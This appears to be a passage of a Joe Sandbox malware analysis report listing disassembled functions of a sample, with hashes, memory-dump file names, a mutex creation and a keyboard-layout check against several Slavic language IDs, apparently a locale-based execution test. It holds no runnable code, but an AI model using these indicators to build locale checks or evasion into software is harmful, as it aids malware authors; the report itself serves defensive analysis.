Opcode ID: b5a893393c453d6c1bac00625c25787255e36ff88e05102bb089548694c23d8c
Instruction ID: 887b3f88d93e190912f98e1ee95c542e42c69d83046341859f0d567cee117ec5
Opcode Fuzzy Hash: b5a893393c453d6c1bac00625c25787255e36ff88e05102bb089548694c23d8c
Instruction Fuzzy Hash: 2E1103EB24F135BE628351411B245F62A2EE4F733C3304416F6C7CAE42F285BA4A7071

Function 003C5C10 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=m%, xrefs: 003C59F4, 003C5C24, 003C5D67, 003C5EE6, 003C603B, 003C65F7
00000422, xrefs: 003C60C9
00000423, xrefs: 003C60FA
Keyboard Layout\Preload, xrefs: 003C6054
00000419, xrefs: 003C6098
0000043f, xrefs: 003C612B
=m%, xrefs: 003C5DB8, 003C5E00, 003C5DC5, 003C5EE0

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$=m%$=m%$Keyboard Layout\Preload
API String ID: 0-1429817680
Opcode ID: caf4ee5f5879e459d4ca578ccd616fe5636ff46521a2043630fff27148e58524
Instruction ID: a06c44ac8a0c6c555208a36794dac36a3aff80609e2dece9c37a64ecf2366617
Opcode Fuzzy Hash: caf4ee5f5879e459d4ca578ccd616fe5636ff46521a2043630fff27148e58524
Instruction Fuzzy Hash: BCF1E371A0025CABEB25DF14CC85BDEBBB9EB44304F5041ADF508EB281DB75AE84CB94

Function 003C9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: e05e6d82a6072bc034cfcc107e708ec115ee3bddc25baacf1c0fc97b96507146
Instruction ID: 26a06f2e304962a41f9982a3f97e2e71aff73d3e6410c046991dcf4d5fd16486
Opcode Fuzzy Hash: e05e6d82a6072bc034cfcc107e708ec115ee3bddc25baacf1c0fc97b96507146
Instruction Fuzzy Hash: 43314A317002089BEB19DB78ECC9BAEB762EB85314F24865EE054EB3D5C7769D808761

Function 003C9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 165be794ac893989e8d8e31337f3a513e7a9ce7d38ddc431695480827e7a8138
Instruction ID: f96205b931c412b1caf3b1390fd3a60c9a14193b7150a377ff4f59b3a648e758
Opcode Fuzzy Hash: 165be794ac893989e8d8e31337f3a513e7a9ce7d38ddc431695480827e7a8138
Instruction Fuzzy Hash: 88317B317002088BEB19DB78DC89FADB762EB86314F20465DE054DB3D1C7369D808762

Function 003CA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 58fd2aa79ac48e9a8f214a2e744808139f5f4e4399b404f2154b1ef401043645
Instruction ID: 185b958fc54e400de869b45c4c60b368f5937ecde268671ec10112c0ad4d8185
Opcode Fuzzy Hash: 58fd2aa79ac48e9a8f214a2e744808139f5f4e4399b404f2154b1ef401043645
Instruction Fuzzy Hash: 9D3133317106089BEB1ADB78DC89BADB772DB81318F24862DE014DB3D1C77A9D808762

Function 003CA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
